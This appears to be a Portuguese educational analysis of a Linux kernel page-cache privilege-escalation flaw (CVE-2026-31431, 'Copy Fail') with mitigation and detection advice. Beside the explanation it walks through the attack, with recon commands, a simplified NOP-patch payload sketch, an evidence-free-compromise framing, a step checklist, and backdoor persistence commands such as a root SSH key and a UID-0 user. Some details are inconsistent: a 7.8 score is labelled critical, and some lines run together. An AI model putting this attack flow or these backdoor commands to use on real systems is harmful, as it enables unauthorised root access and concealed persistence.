
Análise detalhada da vulnerabilidade Copy Fail (CVE-2026-31431) no kernel Linux, incluindo o mecanismo de corrupção de memória, o fluxo de escalonamento de privilégios e o impacto na segurança.
Análise educacional da vulnerabilidade Copy Fail no kernel Linux.
Aborda o mecanismo de corrupção de memória, o fluxo de escalação de privilégios, a fuga de contêineres e as contramedidas defensivas.
Este repositório é destinado exclusivamente a fins educacionais e de pesquisa.
Não utilize estas informações em sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
Todos os trechos de código e comandos são fornecidos estritamente para auxiliar na compreensão dos internals do kernel Linux.
CVE-2026-31431, também conhecida como Copy Fail, é uma vulnerabilidade do kernel Linux na qual um usuário local sem privilégios pode escalar para root sem nenhuma permissão especial.
O ataque opera inteiramente na RAM. O arquivo em disco nunca é tocado — ou seja, os hashes dos arquivos permanecem intactos, os timestamps não são alterados e os logs de auditoria não registram nada. Quando o sistema é reiniciado, todas as evidências desaparecem.
Usuário normal → explora falha do algif_aead → sobrescreve page cache → root
Propriedades principais:
/usr/bin/su — O Binário Alvosu (Switch User) permite que um usuário alterne para outra conta — normalmente root. É um binário SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = flag SetUID
A flag s significa: quando qualquer usuário executa este binário, ele é executado com as permissões de root. Isso o torna um alvo de alto valor.
Sua lógica interna (simplificada):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
O objetivo do ataque: pular completamente a verificação password_correct().
Quando o Linux lê um arquivo do disco, ele mantém uma cópia na RAM chamada page cache.
| Componente | Descrição |
|---|---|
| Disco | Arquivo original no disco (a estante de livros) |
| Page Cache | Cópia do arquivo na RAM (a fotocópia na sua mesa) |
| CPU | Lê e executa a partir do page cache — rápido |
| Atacante | Modifica a cópia na RAM; o disco permanece intocado |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← este é o page cache
| Tipo | Segurança |
|---|---|
| Buffer Seguro — alocado pelo kernel, tamanho e limites controlados | ✅ OK |
| Page Cache — cópia em RAM com suporte de arquivo, compartilhada, executável | ⚠️ PERIGOSO se for gravado |
| Ponteiro Errado — endereço causado por falha apontando para qualquer lugar | 🔴 CRÍTICO |
AF_ALG (Algorithm Family) é uma interface de socket do Linux que permite que programas em espaço de usuário usem funções criptográficas do kernel (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // abre um socket criptográfico
algif_aead é o módulo do kernel que lida com criptografia AEAD (ex.: AES-GCM) através do AF_ALG. A vulnerabilidade reside em sua etapa de cópia de dados.
AF_ALG → algif_aead → mecanismo AES-GCM → buffer de saída
↑
A FALHA ESTÁ AQUI
A falha não está na lógica de criptografia. Está no gerenciamento de memória — a região de memória errada é selecionada durante uma cópia de dados.
destination = safe_output_buffer; // local correto
memcpy(destination, user_data, size); // dados gravados com segurança
destination = buffer + WRONG_OFFSET; // FALHA: ponteiro errado!
memcpy(destination, user_data, size); // dados caem no page cache
O kernel deveria gravar no buffer de saída seguro. Devido a um offset calculado incorretamente, ele grava no page cache — que contém a cópia em RAM de /usr/bin/su.
O binário contém código de máquina x86-64. O atacante tem como alvo o salto condicional que aciona a falha de autenticação:
Antes do ataque:
cmp eax, 0 ; verifica o valor de retorno
jne 0x1234 ; se falhar → salta para negar
call give_root ; concede root
Depois do ataque (2 bytes alterados na RAM):
cmp eax, 0 ; igual
90 90 ; NOP NOP ← salto substituído, verificação ignorada!
call give_root ; a CPU chega aqui diretamente
NOP = No Operation (Nenhuma Operação). A CPU não faz nada e avança — ignorando completamente a verificação de autenticação.
"Só preciso de uma conta de usuário normal. O kernel cometerá o erro sozinho.
O disco permanece limpo. Sem logs. Funciona todas as vezes."
whoami && id
# uid=1000(user) gid=1000(user) ← usuário normal
uname -r
# 6.1.0-generic ← dentro da faixa vulnerável
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmado
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponível')"
cat /usr/bin/su > /dev/null
# /usr/bin/su agora está carregado no page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Procurando por: o endereço da função de autenticação, o salto condicional jne/jnz e seu offset exato em bytes.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — substitui o salto condicional
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Internamente no kernel (simplificado):
destination = buffer + crafted_offset # FALHA: ponteiro errado
memcpy(destination, payload, 2) # bytes NOP gravados no page cache
# A verificação de senha de /usr/bin/su agora é NOP NOP na RAM
su
# Senha: (qualquer coisa — ou apenas pressione Enter)
# root@victim:/# ← ROOT OBTIDO
O que aconteceu: O sistema executou /usr/bin/su a partir da RAM. A verificação de senha era NOP. A CPU a ignorou. give_root() foi chamado diretamente.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
Após o ataque, um investigador forense encontra:
sha256sum /usr/bin/su # MESMO hash de antes ← disco intocado
diff /usr/bin/su backup/su # Nenhuma diferença
grep -r 'attack' /var/log/ # Nada
logs do auditd # Nenhuma gravação de arquivo registrada
Ao reiniciar, a RAM é limpa — todas as evidências desaparecem.
Os contêineres isolam o espaço de usuário — mas o kernel é compartilhado, e o page cache é memória do kernel.
Kernel do Host
├── Contêiner 1 (espaço de usuário isolado)
│ └── O atacante está aqui
├── Contêiner 2
└── Processo do Host
Page Cache: COMPARTILHADO entre todos os contêineres e o host!
Caminho de fuga: O atacante no Contêiner 1 lê o /usr/bin/su do host → aciona a falha → o binário do host na RAM é modificado → executar su no host concede root na máquina host.
Afetados: Docker, Podman, LXC, Kubernetes (nós compartilhados) — se o kernel do host for vulnerável.
Estes são exercícios de observação apenas. Use um ambiente de laboratório (Docker + VM com kernel antigo) para qualquer teste.
free -h # anote o valor de Cache antes
cat /usr/bin/su > /dev/null # carrega o arquivo no page cache
free -h # o Cache aumenta ligeiramente
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Igual ao disco normalmente — difere após um ataque bem-sucedido
# A comparação com /proc/PID/mem requer root
Prioridade 1 — Atualização do Kernel (melhor correção)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Prioridade 2 — Desativar o algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Prioridade 3 — Controles de Acesso
Aplique perfis seccomp com SystemCallFilter em serviços systemd para restringir o acesso ao socket AF_ALG para processos não confiáveis.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERTA: sendmsg do algif_aead pelo PID %d (usuário %d)\n", pid, uid);
}
'
# Execute com perfil seccomp (bloqueia AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restrictedA CVE-2026-31431 combina furtividade (disco inalterado) + confiabilidade (sem condição de corrida) + fuga de contêiner — tornando-a exclusivamente perigosa entre sua classe.
algif_aead se não for necessárioNa CVE-2026-31431, o módulo criptográfico do Linux (
algif_aead) possui uma falha de cópia de memória que faz com que dados controlados pelo atacante caiam no page cache em vez do buffer de saída seguro — modificando silenciosamente um binário SetUID na RAM — permitindo que qualquer usuário local obtenha acesso root sem deixar um único rastro no disco.
Este documento foi preparado para compreensão educacional dos internals de segurança do kernel Linux.
— Apenas para Fins Educacionais —
| Campo | Valor |
|---|
| ID CVE | CVE-2026-31431 |
| Nome Comum | Copy Fail / Corrupção do Page Cache do algif_aead |
| Pontuação CVSS v3.1 | 7.8 — CRÍTICA |
| Tipo de Ataque | Escalação Local de Privilégios (LPE) |
| Versões de Kernel Afetadas | Linux 5.10 a 6.8 (aprox.) |
| Componente Vulnerável | crypto/algif_aead.c — interface de socket AF_ALG |
| Confiabilidade da Exploração | ALTA — Não requer condição de corrida |
| Evidência em Disco | NENHUMA — modificação apenas em RAM |
| Impacto em Contêineres | SIM — Fuga do host via page cache compartilhado |
| Status do Patch | Disponível (patch upstream do kernel lançado) |
| CVE | Condição de Corrida? | Disco Seguro? | Confiabilidade |
|---|
| CVE-2016-5195 DirtyCow | SIM — requer timing | NÃO — disco modificado | Média |
| CVE-2022-0847 DirtyPipe | Mínima | SIM — apenas RAM | Alta |
| CVE-2026-31431 Copy Fail | NÃO — gravação direta | SIM — apenas RAM | MUITO ALTA |
| Método de Detecção | Funciona? |
|---|
| sha256sum / hash do arquivo | ❌ O disco é idêntico |
| Timestamp de modificação do arquivo | ❌ Disco intocado |
| Logs de gravação de arquivos do auditd | ❌ Nenhuma gravação em disco ocorreu |
Inspeção de memória de processo (/proc) | ✅ Somente se monitorado em tempo real |
| Monitoramento do kernel com eBPF | ✅ Detecção em nível de syscall |
| Perícia de memória (LiME) | ✅ Mas complexa |
| Método | Comando / Abordagem |
|---|
| Versão do kernel | uname -r → compare com a versão corrigida |
| Módulo carregado? | lsmod | grep algif_aead |
| Monitoramento eBPF | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Memória de processo | cat /proc/PID/maps — compare com o hash do disco |
| auditd | ausearch -sc socket -sv no |
| Falco | Regra: memfd inesperado ou gravação no page cache |
| Perícia de memória | Dump LiME para análise pós-incidente |
| CVE / Nome | Condição de Corrida? | Disco Seguro? | Fuga de Contêiner? | Confiabilidade |
|---|
| CVE-2016-5195 DirtyCow | SIM — requer timing | ❌ Disco modificado | Parcial | Média |
| CVE-2022-0847 DirtyPipe | Mínima | ✅ Apenas RAM | SIM | Alta |
| CVE-2026-31431 Copy Fail | NÃO — gravação direta | ✅ Apenas RAM | SIM — cache compartilhado | MUITO ALTA |
| Termo | Significado |
|---|
| Escalação de Privilégios | Ir de usuário normal para root sem autorização |
| Page Cache | Cópia de um arquivo armazenada na RAM, gerenciada pelo kernel |
| Binário SetUID | Arquivo de propriedade do root que é executado com privilégios de root para qualquer usuário |
| Primitive de Gravação | Capacidade de gravação arbitrária em memória obtida através de uma falha |
| Condição de Corrida | Ataque baseado em timing que requer uma janela de execução precisa |
| AF_ALG | Interface de socket criptográfico do kernel Linux (Algorithm Family) |
| algif_aead | Módulo do kernel de criptografia AEAD — o componente vulnerável |
| memcpy() | Função de cópia de memória — move dados de um endereço para outro |
| NOP | No Operation — instrução da CPU que não faz nada e avança |
| Fuga de Contêiner | Sair de um contêiner para acessar o sistema host |
| eBPF | Ferramenta de monitoramento em nível de kernel para detecção de syscalls em tempo real |
| LiME | Linux Memory Extractor — ferramenta de dump de RAM para análise forense |
| Seccomp | Secure Computing — mecanismo do Linux para restringir syscalls |
| ELF | Executable and Linkable Format — formato padrão de binários Linux |
| CVE | Common Vulnerabilities and Exposures — identificador de vulnerabilidades |
| CVSS | Common Vulnerability Scoring System — pontuação padronizada de severidade |
| Módulo do Kernel | Plugin do kernel (ex.: drivers de dispositivos, manipuladores criptográficos) |
| Offset | Distância em bytes de um ponto de memória a outro |
| Engenharia Reversa | Análise de um binário compilado sem acesso ao código-fonte |
| Etapa | Ação |
|---|
| 1 | whoami — confirme que você é um usuário normal |
| 2 | uname -r — verifique se o kernel está na faixa vulnerável (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — confirme que a flag SetUID está presente |
| 4 | Execute o script de exploração: AF_ALG → algif_aead → payload personalizado |
| 5 | A falha do kernel é acionada → o page cache de /usr/bin/su é sobrescrito na RAM |
| 6 | Execute su → ROOT obtido (nenhuma senha necessária) |
| 7 | Persistência: adicione chave SSH ou crie usuário root backdoor |